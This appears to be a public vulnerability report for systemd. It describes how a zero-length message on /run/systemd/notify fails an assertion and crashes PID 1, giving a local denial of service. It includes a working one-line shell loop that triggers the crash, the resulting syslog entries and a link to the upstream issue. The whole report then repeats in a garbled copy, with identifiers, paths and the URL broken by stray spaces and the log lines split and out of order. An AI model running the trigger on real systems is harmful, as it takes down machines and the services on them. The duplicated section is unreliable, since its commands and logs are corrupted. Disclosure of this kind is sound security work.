Systemd fails an assertion in manager_invoke_notify_message when a zero-length message is received over /run/systemd/notify. This allows a local user to perform a denial-of-service attack against PID 1.
How to trigger the bug:
$ while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""; done
The following entries are written into /var/log/syslog, at this point systemd is crashed.
Sep 28 20:57:20 ubuntu systemd[1]: Started User Manager for UID 1000.
Sep 28 20:57:28 ubuntu systemd[1]: Assertion 'n > 0' failed at ../src/core/manager.c:1501, function manager_invoke_notify_message(). Aborting.
Sep 28 20:57:29 ubuntu systemd[1]: Caught <ABRT>, dumped core as pid 1307.
Sep 28 20:57:29 ubuntu systemd[1]: Freezing execution.
Environment:
Xenial 16.04.1
Amd64
Description.
Systemd fails an assertion in manager_ invoke_ notify_ message when a zero-length message is received over /run/systemd/ notify. This allows a local user to perform a denial-of-service attack against PID 1.
How to trigger the bug:
$ while true; do NOTIFY_ SOCKET= /run/systemd/ notify systemd-notify ""; done
The following entries are written into /var/log/syslog, at this point systemd is crashed.
Sep 28 20:57:20 ubuntu systemd[1]: Started User Manager for UID 1000. core/manager. c:1501, function manager_ invoke_ notify_ message( ). Aborting.
Sep 28 20:57:28 ubuntu systemd[1]: Assertion 'n > 0' failed at ../src/
Sep 28 20:57:29 ubuntu systemd[1]: Caught <ABRT>, dumped core as pid 1307.
Sep 28 20:57:29 ubuntu systemd[1]: Freezing execution.
Public bug: https:/ /github. com/systemd/ systemd/ issues/ 4234